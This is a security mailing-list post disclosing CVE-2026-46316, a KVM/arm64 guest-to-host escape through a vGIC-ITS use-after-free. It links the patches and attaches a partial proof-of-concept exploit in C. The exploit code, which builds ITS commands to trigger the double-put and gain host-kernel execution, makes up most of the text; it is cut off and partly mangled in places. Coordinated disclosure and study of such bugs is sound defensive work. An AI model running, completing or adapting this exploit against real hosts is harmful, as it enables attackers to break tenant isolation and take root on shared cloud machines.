oss-sec: ITScape: Guest-to-Host Escape in KVM/arm64 (CVE-2026-46316)
oss-sec<br>mailing list archives
By Date
By Thread
ITScape: Guest-to-Host Escape in KVM/arm64 (CVE-2026-46316)
From: Hyunwoo Kim
Date: Thu, 11 Jun 2026 03:10:45 +0900
Hi,
The embargo agreed upon with the maintainers of linux-distros () vs openwall org<br>has expired, so I am publishing this report.
This is a report on "ITScape (CVE-2026-46316)", a KVM escape vulnerability in<br>KVM/arm64 that allows a guest to escape to the host and execute commands on the<br>host with kernel privileges (root). As far as is publicly known, this is the<br>first guest-to-host escape exploit research targeting KVM/arm64. This is not one<br>of the commonly disclosed QEMU escapes.
This vulnerability can threaten the guest-host isolation of KVM/arm64 hosts that<br>run guests, particularly multi-tenant arm64 public clouds.
CVE-2026-46316 was reported to security () kernel org and has been patched in<br>mainline:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=13031fb6b8357fbbcded2a7f4cba73e4781ee594
"ITScape" essentially refers only to CVE-2026-46316, for which a working exploit<br>has been demonstrated, but I recommend applying the following two patches as well:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=70543358fa08e0f7cebc3447c3b70fe97ad7aaa8<br>(CVE-2026-46317)<br>- https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f2ca45b50d4216c9cc7ffabf50d9ad1932209251
I have also attached the PoC as currently written.
For more details about the vulnerability and follow-up updates, please see:<br>https://itscape.io
Best regards,<br>Hyunwoo Kim
// SPDX-License-Identifier: GPL-2.0<br>/*<br>* ITScape: Guest-to-Host Escape in KVM/arm64 (CVE-2026-46316)<br>* vGIC-ITS vgic_its_invalidate_cache() double-put UAF -> host-kernel code execution.<br>* Target: Linux v7.1-rc6 (aarch64). The hardcoded kernel addresses/offsets are for that build<br>* with the bundled kconfig; re-derive them for other versions.<br>* Copyright (c) 2026 Hyunwoo Kim @v4bel<br>* Adapted from vgic_lpi_stress.c (Copyright (c) 2024 Google LLC).<br>*/<br>#include<br>#include<br>#include<br>#include<br>#include<br>#include<br>#include<br>#include<br>#include
#include "kvm_util.h"<br>#include "gic.h"<br>#include "gic_v3.h"<br>#include "gic_v3_its.h"<br>#include "processor.h"<br>#include "ucall.h"<br>#include "vgic.h"
#define WRITES_ONLY_TEST 1<br>#define LEAK_TEST 1<br>#define TEST_MEMSLOT_INDEX 1<br>#define GIC_LPI_OFFSET 8192<br>#define TOUCH_MEMSLOT_INDEX 2<br>#define TOUCH_GPA 0x200000000UL /* 8GB GPA */<br>#define TOUCH_SIZE (32UL * SZ_2M) /* cross-cache reclaim region (guest_memfd) */<br>#define GITS1_BASE_GPA 0x8100000ULL /* 2nd ITS frame (after GICR for refcount 2 */<br>#define GRACE_CYCLES 2500 /* vCPU exits so host RCU + kfree_rcu batch flush (no host sleep) */
#define RECLAIM_INTID_BASE 0x4000 /* fresh refill LPIs use intid 16384.. (old LPIs use 8192..) */<br>#define SPARSE_DEVID(d) ((u32)(d)) /* cache_key = (devidraw_le[0] = cpu_to_le64(cmd->raw[0]);<br>cmd->raw_le[1] = cpu_to_le64(cmd->raw[1]);<br>cmd->raw_le[2] = cpu_to_le64(cmd->raw[2]);<br>cmd->raw_le[3] = cpu_to_le64(cmd->raw[3]);<br>WRITE_ONCE(*dst, *cmd);<br>dsb(ishst);<br>next = (cwriter + sizeof(*cmd)) % cmdq_size;<br>xw64(GITS_CWRITER, next);<br>while (xr64(GITS_CREADR) != next)<br>cpu_relax();
static u64 x_rdbase(u32 vcpu_id) { return (u64)vcpu_id > 8, 51, 8); xenc(&c.raw[2], !!valid, 63, 63);<br>xits_send(cmdq, &c);
static void xits_send_mapc_cmd(void *cmdq, u32 vcpu_id, u32 col, bool valid)<br>struct xits_cmd c = {};<br>xenc(&c.raw[0], GITS_CMD_MAPC, 7, 0); xenc(&c.raw[2], col, 15, 0);<br>xenc(&c.raw[2], x_rdbase(vcpu_id) >> 16, 51, 16); xenc(&c.raw[2], !!valid, 63, 63);<br>xits_send(cmdq, &c);
static void xits_send_mapti_cmd(void *cmdq, u32 devid, u32 eid, u32 col, u32 intid)<br>struct xits_cmd c = {};<br>xenc(&c.raw[0], GITS_CMD_MAPTI, 7, 0); xenc(&c.raw[0], devid, 63, 32);<br>xenc(&c.raw[1], eid, 31, 0); xenc(&c.raw[1], intid, 63, 32);<br>xenc(&c.raw[2], col, 15, 0);<br>xits_send(cmdq, &c);
static void xits_send_movi_cmd(void *cmdq, u32 devid, u32 eid, u32 col)<br>struct xits_cmd c = {};<br>xenc(&c.raw[0], GITS_CMD_MOVI, 7, 0); xenc(&c.raw[0], devid, 63, 32);<br>xenc(&c.raw[1], eid, 31, 0); xenc(&c.raw[2], col, 15, 0);<br>xits_send(cmdq, &c);
static void xits_send_invall_cmd(void *cmdq, u32 col)<br>struct xits_cmd c = {};<br>xenc(&c.raw[0], GITS_CMD_INVALL, 7, 0); xenc(&c.raw[2], col, 15, 0);<br>xits_send(cmdq, &c);
static void xits_send_sync_cmd(void *cmdq, u32 vcpu_id)<br>struct xits_cmd c = {};<br>xenc(&c.raw[0], GITS_CMD_SYNC, 7, 0); xenc(&c.raw[2], x_rdbase(vcpu_id) >> 16, 51, 16);<br>xits_send(cmdq, &c);
static void xits_send_int_cmd(void *cmdq, u32 devid, u32 eid)<br>struct xits_cmd c = {};<br>xenc(&c.raw[0], GITS_CMD_INT, 7, 0); xenc(&c.raw[0], devid, 63, 32);<br>xenc(&c.raw[1], eid, 31, 0);<br>xits_send(cmdq, &c);
static struct test_data {<br>u32 nr_cpus;<br>u32 nr_devices;<br>u32 nr_event_ids;<br>u32 gsync_drain; /* -g: extra GUEST_SYNC exits per WWW sweep (default 0) */<br>gpa_t device_table;<br>gpa_t collection_table;<br>gpa_t cmdq_base;<br>void...